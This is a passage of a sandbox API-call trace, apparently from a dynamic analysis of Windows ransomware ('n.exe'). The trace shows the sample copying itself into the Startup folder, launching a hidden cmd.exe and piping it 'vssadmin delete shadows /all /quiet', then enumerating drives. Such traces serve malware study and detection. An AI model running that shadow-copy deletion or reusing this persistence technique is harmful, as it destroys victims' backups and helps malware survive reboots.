Folders") returned 69 [0041.475] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f7bd8 | out: hHeap=0x6c0000) returned 1 [0041.475] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", lpDst=0x71d460, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe") returned 0x43 [0041.475] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x72d468 | out: hHeap=0x6c0000) returned 1 [0041.475] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x71d460 | out: hHeap=0x6c0000) returned 1 [0041.475] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x100000) returned 0x2150020 [0041.475] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a58 [0041.475] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a58, Size=0x20) returned 0x6f5908 [0041.475] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a58 [0041.475] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a58, Size=0x20) returned 0x6f5958 [0041.475] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0041.475] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0041.475] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0041.475] lstrlenW (lpString="kernel32.dll") returned 12 [0041.475] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5908 | out: hHeap=0x6c0000) returned 1 [0041.475] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0041.475] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5958 | out: hHeap=0x6c0000) returned 1 [0041.475] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0041.476] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0041.477] ReadFile (in: hFile=0xe4, lpBuffer=0x2150020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2150020*, lpNumberOfBytesRead=0x18fd98*=0xa8600, lpOverlapped=0x0) returned 1 [0041.489] WriteFile (in: hFile=0xe8, lpBuffer=0x2150020*, nNumberOfBytesToWrite=0xa8600, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2150020*, lpNumberOfBytesWritten=0x18fd98*=0xa8600, lpOverlapped=0x0) returned 1 [0041.499] ReadFile (in: hFile=0xe4, lpBuffer=0x2150020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2150020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0041.499] CloseHandle (hObject=0xe8) returned 1 [0041.504] CloseHandle (hObject=0xe4) returned 1 [0041.504] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a58 [0041.504] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a58, Size=0x20) returned 0x6f5958 [0041.504] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a58 [0041.505] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a58, Size=0x20) returned 0x6f5908 [0041.505] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0041.505] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0041.505] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0041.505] lstrlenW (lpString="kernel32.dll") returned 12 [0041.505] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5908 | out: hHeap=0x6c0000) returned 1 [0041.505] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0041.505] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5958 | out: hHeap=0x6c0000) returned 1 [0041.505] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x2150020 | out: hHeap=0x6c0000) returned 1 [0041.509] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fb450 | out: hHeap=0x6c0000) returned 1 [0041.509] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x70b458 | out: hHeap=0x6c0000) returned 1 [0041.509] lstrlenW (lpString="%windir%\\System32") returned 17 [0041.509] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f69d0 | out: hHeap=0x6c0000) returned 1 [0041.509] lstrlenW (lpString="%appdata%") returned 9 [0041.509] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d43c0 | out: hHeap=0x6c0000) returned 1 [0041.509] lstrlenW (lpString="%sh(Startup)%") returned 13 [0041.509] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4398 | out: hHeap=0x6c0000) returned 1 [0041.509] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0041.510] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f6a18 | out: hHeap=0x6c0000) returned 1 [0041.510] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a58 [0041.510] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a58, Size=0x20) returned 0x6d4398 [0041.510] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4398, Size=0x40) returned 0x6f6a18 [0041.510] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f6a18, Size=0x80) returned 0x71b478 [0041.510] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a58 [0041.510] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a58, Size=0x20) returned 0x6d4398 [0041.510] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1fffc) returned 0x6fb450 [0041.510] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x71d460 [0041.510] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x72d468 [0041.510] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a58 [0041.510] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a58, Size=0x20) returned 0x6d43c0 [0041.510] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d43c0, Size=0x40) returned 0x6f6a18 [0041.510] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f6a18, Size=0x80) returned 0x71b500 [0041.510] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x71b500, Size=0x100) returned 0x6f7bd8 [0041.510] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0041.510] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f7bd8 | out: hHeap=0x6c0000) returned 1 [0041.510] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x71d460, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0041.510] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x72d468 | out: hHeap=0x6c0000) returned 1 [0041.510] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x71d460 | out: hHeap=0x6c0000) returned 1 [0041.510] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0041.510] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0041.511] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0041.511] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0041.511] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0xa80, dwThreadId=0xa84)) returned 1 [0041.524] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0041.524] WriteFile (in: hFile=0xec, lpBuffer=0x71b478*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x71b478*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0041.524] CloseHandle (hObject=0xfc) returned 1 [0041.524] CloseHandle (hObject=0xf8) returned 1 [0041.524] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fb450 | out: hHeap=0x6c0000) returned 1 [0041.524] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0041.524] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x71b478 | out: hHeap=0x6c0000) returned 1 [0041.524] lstrlenW (lpString="%comspec%") returned 9 [0041.524] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4398 | out: hHeap=0x6c0000) returned 1 [0041.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0041.524] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f4a58 [0041.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x6f4a58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0041.525] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6d47d0 [0041.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x6d47d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0041.525] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a70 [0041.525] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a70, Size=0x20) returned 0x6d4398 [0041.526] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4398, Size=0x40) returned 0x6f6a18 [0041.526] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xd0) returned 0x6f7c50 [0041.526] GetLogicalDrives () returned 0x4 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10014) returned 0x6fb450 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a70 [0041.526] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a70, Size=0x20) returned 0x6d4398 [0041.526] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4398, Size=0x40) returned 0x6f6aa8 [0041.526] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f6aa8, Size=0x80) returned 0x71b478 [0041.526] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x71b478, Size=0x100) returned 0x6f91c0 [0041.526] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f91c0, Size=0x200) returned 0x6f91c0 [0041.526] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f91c0, Size=0x400) returned 0x6f91c0 [0041.526] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f91c0, Size=0x800) returned 0x6f97d8 [0041.526] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f97d8, Size=0x1000) returned 0x70b470 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x71d460 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a70 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f4b48 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4) returned 0x6d4778 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f4b60 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4) returned 0x6d4788 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f4b78 [0041.526] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4788, Size=0x8) returned 0x6d4788 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f4b90 [0041.526] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4788, Size=0x10) returned 0x6d4740 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f4ba8 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f4bc0 [0041.526] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4740, Size=0x20) returned 0x6f7ad8 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f4bd8 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6d4788 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xe) returned 0x6f4bf0 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xe) returned 0x6f4c08 [0041.526] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f7ad8, Size=0x40) returned 0x6f5300 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xe) returned 0x6f4c20 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xe) returned 0x6f4c38 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xe) returned 0x6f4c50 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xe) returned 0x6f4c68 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f4c80 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f4c98 [0041.526] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6f5348 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f4cb0 [0041.527] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f5300, Size=0x80) returned 0x6f91c0 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f4cc8 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f4ce0 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f4cf8 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f4d10 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f97f0 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f9808 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9820 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6d4740 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9838 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9850 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f9868 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9880 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f9898 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f98b0 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f98c8 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f98e0 [0041.527] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f91c0, Size=0x100) returned 0x6f91c0 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f98f8 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9910 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9928 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f9940 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9958 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9970 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6d4750 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9988 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f99a0 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f99b8 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x6) returned 0x6f7ad8 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f99d0 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f99e8 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6f7ae8 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9a00 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9a18 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f9a30 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9a48 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9a60 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9a78 [0041.527] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xe) returned 0x6f9a90 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9aa8 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f9ac0 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9ad8 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9af0 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9b08 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9b20 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6f7af8 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9b38 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9b50 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9b68 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9b80 [0041.528] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f91c0, Size=0x200) returned 0x6f91c0 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9b98 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6f5300 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9bb0 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9bf0 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9c08 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9c20 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9c38 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9c50 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9c68 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9c80 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9c98 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f9cb0 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f9cc8 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9ce0 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9cf8 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f9d10 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f9d28 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9d40 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f9d58 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f9d70 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9d88 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9da0 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9db8 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6f5310 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9dd0 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9de8 [0041.528] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9e00 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6f9ff0 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9e18 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f9e30 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9e48 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9e60 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9e78 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9e90 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9ea8 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9ec0 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f9ed8 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f9ef0 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9f08 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9f20 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9f38 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f9f50 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9f68 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9f80 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9f98 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f9fb0 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c490 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c4a8 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c4c0 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6fa000 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x6) returned 0x6fa010 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c4d8 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c4f0 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c508 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c520 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c538 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x70c550 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c568 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c580 [0041.529] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x70c598 [0041.529] 